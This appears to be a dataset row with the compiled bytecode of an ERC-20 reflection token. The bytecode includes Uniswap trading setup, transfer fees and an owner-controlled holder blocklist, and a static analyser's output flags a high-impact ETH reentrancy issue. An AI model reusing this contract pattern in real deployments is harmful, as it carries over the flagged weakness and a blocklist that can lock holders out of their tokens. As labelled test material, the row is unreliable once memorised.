ffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4d53000000000000000000000000000000000000000000000000000000000000815250905090565b600061096d610966611125565b84846112f8565b6001905092915050565b61097f611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612b9b565b60405180910390fd5b60005b8151811015610ac357600160066000848481518110610a57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abb90612f51565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b08611125565b73ffffffffffffffffffffffffffffffffffffffff1614610b2857600080fd5b6000610b333061074f565b9050610b3e81611aca565b50565b610b49611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612b9b565b60405180910390fd5b600f60149054906101000a900460ff1615610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612c1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061112d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfc57600080fd5b505afa158015610d10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3491906125b7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9657600080fd5b505afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce91906125b7565b6040518363ffffffff1660e01b8152600401610deb929190612a0b565b602060405180830381600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d91906125b7565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec63061074f565b600080610ed16108f3565b426040518863ffffffff1660e01b8152600401610ef396959493929190612a5d565b6060604051808303818588803b158015610f0c57600080fd5b505af1158015610f20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f45919061273a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612a34565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612711565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612bfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120490612b3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112eb9190612c3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f90612bdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf90612afb565b60405180910390fd5b6000811161141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290612bbb565b60405180910390fd5b6000600a81905550600c600b819055506114336108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a157506114716108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ed57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561154a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155357600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116545750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561166c5750600f60179054906101000a900460ff165b1561171c5760105481111561168057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116cb57600080fd5b601e426116d89190612d71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117c75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561181d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611833576000600a81905550600c600b819055505b600061183e3061074f565b9050600f60159054906101000a900460ff161580156118ab5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118c35750600f60169054906101000a900460ff165b156118eb576118d181611aca565b600047905060008111156118e9576118e847611961565b5b505b505b6118f8838383611dc4565b505050565b6000838311158290611945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193c9190612ad9565b60405180910390fd5b50600083856119549190612e52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119b1600284611dd490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119dc573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a2d600284611dd490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a58573d6000803e3d6000fd5b5050565b6000600854821115611aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9a90612b1b565b60405180910390fd5b6000611aad611e1e565b9050611ac28184611dd490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b28577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b565781602001602082028036833780820191505090505b5090503081600081518110611b94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3657600080fd5b505afa158015611c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6e91906125b7565b81600181518110611ca8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d73959493929190612c56565b600060405180830381600087803b158015611d8d57600080fd5b505af1158015611da1573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dcf838383611e49565b505050565b6000611e1683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612014565b905092915050565b6000806000611e2b612077565b91509150611e428183611dd490919063ffffffff16565b9250505090565b600080600080600080611e5b876120d9565b955095509550955095509550611eb986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9a816121e9565b611fa484836122a6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120019190612c3b565b60405180910390a3505050505050505050565b6000808311829061205b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120529190612ad9565b60405180910390fd5b506000838561206a9190612dc7565b9050809150509392505050565b600080600060085490506000683635c9adc5dea0000090506120ad683635c9adc5dea00000600854611dd490919063ffffffff16565b8210156120cc57600854683635c9adc5dea000009350935050506120d5565b81819350935050505b9091565b60008060008060008060008060006120f68a600a54600b546122e0565b9250925092506000612106611e1e565b905060008060006121198e878787612376565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061218383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118fd565b905092915050565b600080828461219a9190612d71565b9050838110156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690612b5b565b60405180910390fd5b8091505092915050565b60006121f3611e1e565b9050600061220a82846123ff90919063ffffffff16565b905061225e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122bb8260085461214190919063ffffffff16565b6008819055506122d68160095461218b90919063ffffffff16565b6009819055505050565b60008060008061230c60646122fe888a6123ff90919063ffffffff16565b611dd490919063ffffffff16565b905060006123366064612328888b6123ff90919063ffffffff16565b611dd490919063ffffffff16565b9050600061235f82612351858c61214190919063ffffffff16565b61214190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238f85896123ff90919063ffffffff16565b905060006123a686896123ff90919063ffffffff16565b905060006123bd87896123ff90919063ffffffff16565b905060006123e6826123d8858761214190919063ffffffff16565b61214190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124125760009050612474565b600082846124209190612df8565b905082848261242f9190612dc7565b1461246f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246690612b7b565b60405180910390fd5b809150505b92915050565b600061248d61248884612cf0565b612ccb565b905080838252602082019050828560208602820111156124ac57600080fd5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816132dc565b92915050565b60008151905061250a816132dc565b92915050565b600082601f83011261252157600080fd5b813561253184826020860161247a565b91505092915050565b600081359050612549816132f3565b92915050565b60008151905061255e816132f3565b92915050565b6000813590506125738161330a565b92915050565b6000815190506125888161330a565b92915050565b6000602082840312156125a057600080fd5b60006125ae848285016124e6565b91505092915050565b6000602082840312156125c957600080fd5b60006125d7848285016124fb565b91505092915050565b600080604083850312156125f357600080fd5b6000612601858286016124e6565b9250506020612612858286016124e6565b9150509250929050565b60008060006060848603121561263157600080fd5b600061263f868287016124e6565b9350506020612650868287016124e6565b925050604061266186828701612564565b9150509250925092565b6000806040838503121561267e57600080fd5b600061268c858286016124e6565b925050602061269d85828601612564565b9150509250929050565b6000602082840312156126b957600080fd5b600082013567ffffffffffffffff8111156126d357600080fd5b6126df84828501612510565b91505092915050565b6000602082840312156126fa57600080fd5b60006127088482850161253a565b91505092915050565b60006020828403121561272357600080fd5b60006127318482850161254f565b91505092915050565b60008060006060848603121561274f57600080fd5b600061275d86828701612579565b935050602061276e86828701612579565b925050604061277f86828701612579565b9150509250925092565b600061279583836127a1565b60208301905092915050565b6127aa81612e86565b82525050565b6127b981612e86565b82525050565b60006127ca82612d2c565b6127d48185612d4f565b93506127df83612d1c565b8060005b838110156128105781516127f78882612789565b975061280283612d42565b9250506001810190506127e3565b5085935050505092915050565b61282681612e98565b82525050565b61283581612edb565b82525050565b600061284682612d37565b6128508185612d60565b9350612860818560208601612eed565b61286981613027565b840191505092915050565b6000612881602383612d60565b915061288c82613038565b604082019050919050565b60006128a4602a83612d60565b91506128af82613087565b604082019050919050565b60006128c7602283612d60565b91506128d2826130d6565b604082019050919050565b60006128ea601b83612d60565b91506128f582613125565b602082019050919050565b600061290d602183612d60565b91506129188261314e565b604082019050919050565b6000612930602083612d60565b915061293b8261319d565b602082019050919050565b6000612953602983612d60565b915061295e826131c6565b604082019050919050565b6000612976602583612d60565b915061298182613215565b604082019050919050565b6000612999602483612d60565b91506129a482613264565b604082019050919050565b60006129bc601783612d60565b91506129c7826132b3565b602082019050919050565b6129db81612ec4565b82525050565b6129ea81612ece565b82525050565b6000602082019050612a0560008301846127b0565b92915050565b6000604082019050612a2060008301856127b0565b612a2d60208301846127b0565b9392505050565b6000604082019050612a4960008301856127b0565b612a5660208301846129d2565b9392505050565b600060c082019050612a7260008301896127b0565b612a7f60208301886129d2565b612a8c604083018761282c565b612a99606083018661282c565b612aa660808301856127b0565b612ab360a08301846129d2565b979650505050505050565b6000602082019050612ad3600083018461281d565b92915050565b60006020820190508181036000830152612af3818461283b565b905092915050565b60006020820190508181036000830152612b1481612874565b9050919050565b60006020820190508181036000830152612b3481612897565b9050919050565b60006020820190508181036000830152612b54816128ba565b9050919050565b60006020820190508181036000830152612b74816128dd565b9050919050565b60006020820190508181036000830152612b9481612900565b9050919050565b60006020820190508181036000830152612bb481612923565b9050919050565b60006020820190508181036000830152612bd481612946565b9050919050565b60006020820190508181036000830152612bf481612969565b9050919050565b60006020820190508181036000830152612c148161298c565b9050919050565b60006020820190508181036000830152612c34816129af565b9050919050565b6000602082019050612c5060008301846129d2565b92915050565b600060a082019050612c6b60008301886129d2565b612c78602083018761282c565b8181036040830152612c8a81866127bf565b9050612c9960608301856127b0565b612ca660808301846129d2565b9695505050505050565b6000602082019050612cc560008301846129e1565b92915050565b6000612cd5612ce6565b9050612ce18282612f20565b919050565b6000604051905090565b600067ffffffffffffffff821115612d0b57612d0a612ff8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d7c82612ec4565b9150612d8783612ec4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dbc57612dbb612f9a565b5b828201905092915050565b6000612dd282612ec4565b9150612ddd83612ec4565b925082612ded57612dec612fc9565b5b828204905092915050565b6000612e0382612ec4565b9150612e0e83612ec4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e4757612e46612f9a565b5b828202905092915050565b6000612e5d82612ec4565b9150612e6883612ec4565b925082821015612e7b57612e7a612f9a565b5b828203905092915050565b6000612e9182612ea4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ee682612ec4565b9050919050565b60005b83811015612f0b578082015181840152602081019050612ef0565b83811115612f1a576000848401525b50505050565b612f2982613027565b810181811067ffffffffffffffff82111715612f4857612f47612ff8565b5b80604052505050565b6000612f5c82612ec4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f8f57612f8e612f9a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132e581612e86565b81146132f057600080fd5b50565b6132fc81612e98565b811461330757600080fd5b50565b61331381612ec4565b811461331e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d163739959d1bdf9d807f766403c0348cacc27acc110111e015522b4720fbe7164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.